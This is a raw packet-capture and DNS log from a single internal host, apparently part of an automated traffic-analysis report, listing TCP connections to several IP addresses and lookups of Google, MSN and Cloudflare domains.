Oct 31, 2024 03:04:37.998845100 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.998889923 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.999129057 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.999319077 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.999336004 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.085295916 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.086289883 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.086313963 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.087297916 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.087302923 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.090914011 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.091250896 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.091273069 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.091670990 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.091675043 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.108500004 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.108649969 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.108752966 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.108831882 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.108891010 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.108891010 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.108905077 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.108911991 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.111550093 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.111569881 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.111690998 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.111808062 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.111821890 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.188153028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.188230991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:38.213294983 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.213455915 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.213597059 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.213617086 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.213627100 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.216516018 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.216535091 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.216608047 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.216789007 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.216801882 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.227050066 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.227109909 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.227329016 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.229305983 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.229320049 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.229331017 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.229336023 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.237652063 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.237664938 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.237730026 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.237952948 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.237963915 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.244509935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:38.249397039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.271667957 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.271740913 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.273317099 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.273324013 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.273521900 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.274637938 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.319329023 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.692316055 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.692900896 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.692918062 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.692933083 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.693027973 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.693057060 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:38.693126917 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:38.695240021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.695272923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.695302010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.695369005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:38.697236061 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697267056 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697280884 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697324038 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.697339058 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697350025 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.697377920 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.697386026 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697412968 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.697452068 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.697916031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.698431015 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:38.702523947 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.702533960 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.702626944 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.702632904 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.707465887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:38.712685108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.826299906 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.826778889 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.828814983 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.828839064 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.830122948 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.830131054 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.831480026 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.831500053 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.831911087 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.831914902 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.840495110 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.840822935 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.840837002 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.841224909 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.841228962 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.845745087 CET	50416	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.845763922 CET	443	50416	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.845896959 CET	50416	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.846044064 CET	50416	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:38.846051931 CET	443	50416	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:38.955898046 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956226110 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956293106 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.956309080 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956398010 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956399918 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.956413031 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.956422091 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956430912 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.956449986 CET	50412	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.956454039 CET	443	50412	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.959949970 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.960010052 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.960207939 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.960634947 CET	50417	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.960645914 CET	443	50417	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.961272955 CET	50417	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.961663961 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.961673021 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.961682081 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.961685896 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.962903976 CET	50417	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.962918997 CET	443	50417	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.967461109 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.969885111 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.969970942 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.969996929 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.970068932 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.970385075 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.970391989 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.970402956 CET	50413	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.970412016 CET	443	50413	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.974932909 CET	50418	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.974940062 CET	443	50418	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.975023985 CET	50418	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.975189924 CET	50418	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.975205898 CET	443	50418	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.975241899 CET	50419	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.975267887 CET	443	50419	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.975579023 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.975600004 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.975711107 CET	50419	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.976113081 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.976116896 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.976650000 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.976666927 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.977111101 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.977122068 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.980823040 CET	50419	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:38.980837107 CET	443	50419	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:38.994133949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:38.994199038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:39.010603905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:39.015621901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:39.103369951 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.103432894 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.103513956 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.103526115 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.103593111 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.103705883 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.107290983 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.107306957 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.107320070 CET	50414	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.107325077 CET	443	50414	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.110255957 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.110506058 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.110555887 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.110766888 CET	50420	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.110783100 CET	443	50420	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.111273050 CET	50415	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.111278057 CET	443	50415	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.111325979 CET	50420	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.113250971 CET	50420	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.113261938 CET	443	50420	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.118396997 CET	50421	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.118422985 CET	443	50421	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.118494034 CET	50421	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.118609905 CET	50421	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.118617058 CET	443	50421	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.719238043 CET	443	50419	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.719705105 CET	50419	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.719722033 CET	443	50419	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.720365047 CET	50419	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.720370054 CET	443	50419	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.728539944 CET	443	50418	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.731190920 CET	50418	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.731204033 CET	443	50418	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.731726885 CET	50418	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.731731892 CET	443	50418	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.741923094 CET	443	50417	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.742305040 CET	50417	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.742312908 CET	443	50417	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.742743015 CET	50417	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:39.742748022 CET	443	50417	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:39.769411087 CET	50423	443	192.168.2.5	4.245.163.56
Oct 31, 2024 03:04:39.769460917 CET	443	50423	4.245.163.56	192.168.2.5
Oct 31, 2024 03:04:39.769551039 CET	50423	443	192.168.2.5	4.245.163.56
Oct 31, 2024 03:04:39.769983053 CET	50423	443	192.168.2.5	4.245.163.56
Oct 31, 2024 03:04:39.770015955 CET	443	50423	4.245.163.56	192.168.2.5
Oct 31, 2024 03:04:39.794533014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:39.794615984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:39.825483084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:39.830394983 CET	80	49823	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 03:04:09.452169895 CET	192.168.2.5	1.1.1.1	0x9565	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:09.452356100 CET	192.168.2.5	1.1.1.1	0x5bc4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:14.325320005 CET	192.168.2.5	1.1.1.1	0xce3f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:14.325480938 CET	192.168.2.5	1.1.1.1	0x2479	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:15.353666067 CET	192.168.2.5	1.1.1.1	0x47b5	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:15.354043007 CET	192.168.2.5	1.1.1.1	0x5f09	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:22.754261017 CET	192.168.2.5	1.1.1.1	0x8988	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:22.754436016 CET	192.168.2.5	1.1.1.1	0xea1e	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:24.459908962 CET	192.168.2.5	1.1.1.1	0x1d2e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:24.460192919 CET	192.168.2.5	1.1.1.1	0x1bc9	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 31, 2024 03:04:25.748188972 CET	192.168.2.5	1.1.1.1	0xfdfe	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.748614073 CET	192.168.2.5	1.1.1.1	0x3ed3	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:25.753070116 CET	192.168.2.5	1.1.1.1	0x1517	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.753205061 CET	192.168.2.5	1.1.1.1	0x515	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:25.758750916 CET	192.168.2.5	1.1.1.1	0x8c51	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.759119034 CET	192.168.2.5	1.1.1.1	0xcf01	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:25.766808033 CET	192.168.2.5	1.1.1.1	0x87ea	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.766958952 CET	192.168.2.5	1.1.1.1	0xbf78	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:26.082519054 CET	192.168.2.5	1.1.1.1	0x98cd	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.082762003 CET	192.168.2.5	1.1.1.1	0xae0a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:27.541171074 CET	192.168.2.5	1.1.1.1	0xf1fa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.541532993 CET	192.168.2.5	1.1.1.1	0x7baf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:27.541872025 CET	192.168.2.5	1.1.1.1	0x72ef	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.542030096 CET	192.168.2.5	1.1.1.1	0x2989	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:27.573174000 CET	192.168.2.5	1.1.1.1	0xdbb7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.573353052 CET	192.168.2.5	1.1.1.1	0x7bb5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 31, 2024 03:04:35.821964979 CET	192.168.2.5	1.1.1.1	0xe08d	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:05:24.462817907 CET	192.168.2.5	1.1.1.1	0x5c79	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:31.978627920 CET	192.168.2.5	1.1.1.1	0x3eb7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 03:04:09.459844112 CET	1.1.1.1	192.168.2.5	0x9565	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:09.460875988 CET	1.1.1.1	192.168.2.5	0x5bc4	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 03:04:14.332066059 CET	1.1.1.1	192.168.2.5	0xce3f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:14.332066059 CET	1.1.1.1	192.168.2.5	0xce3f	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:14.332179070 CET	1.1.1.1	192.168.2.5	0x2479	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:15.361716986 CET	1.1.1.1	192.168.2.5	0x47b5	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:22.761040926 CET	1.1.1.1	192.168.2.5	0x8988	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:22.761384964 CET	1.1.1.1	192.168.2.5	0xea1e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:22.977562904 CET	1.1.1.1	192.168.2.5	0x3907	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:22.977562904 CET	1.1.1.1	192.168.2.5	0x3907	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:22.993997097 CET	1.1.1.1	192.168.2.5	0xa7b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:24.467108965 CET	1.1.1.1	192.168.2.5	0x1d2e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:24.467128038 CET	1.1.1.1	192.168.2.5	0x1bc9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.754771948 CET	1.1.1.1	192.168.2.5	0xfdfe	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.754771948 CET	1.1.1.1	192.168.2.5	0xfdfe	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.754771948 CET	1.1.1.1	192.168.2.5	0xfdfe	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.754771948 CET	1.1.1.1	192.168.2.5	0xfdfe	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:25.759788036 CET	1.1.1.1	192.168.2.5	0x515	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.759812117 CET	1.1.1.1	192.168.2.5	0x1517	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.765755892 CET	1.1.1.1	192.168.2.5	0x8c51	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.765930891 CET	1.1.1.1	192.168.2.5	0xcf01	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.773807049 CET	1.1.1.1	192.168.2.5	0x87ea	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:25.774044991 CET	1.1.1.1	192.168.2.5	0xbf78	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:26.089128971 CET	1.1.1.1	192.168.2.5	0x98cd	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:26.089128971 CET	1.1.1.1	192.168.2.5	0x98cd	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.098562002 CET	1.1.1.1	192.168.2.5	0xae0a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:27.547657967 CET	1.1.1.1	192.168.2.5	0xf1fa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.547657967 CET	1.1.1.1	192.168.2.5	0xf1fa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.547966957 CET	1.1.1.1	192.168.2.5	0x7baf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 03:04:27.548479080 CET	1.1.1.1	192.168.2.5	0x72ef	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.548479080 CET	1.1.1.1	192.168.2.5	0x72ef	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.548532009 CET	1.1.1.1	192.168.2.5	0x2989	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 03:04:27.582046032 CET	1.1.1.1	192.168.2.5	0xdbb7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
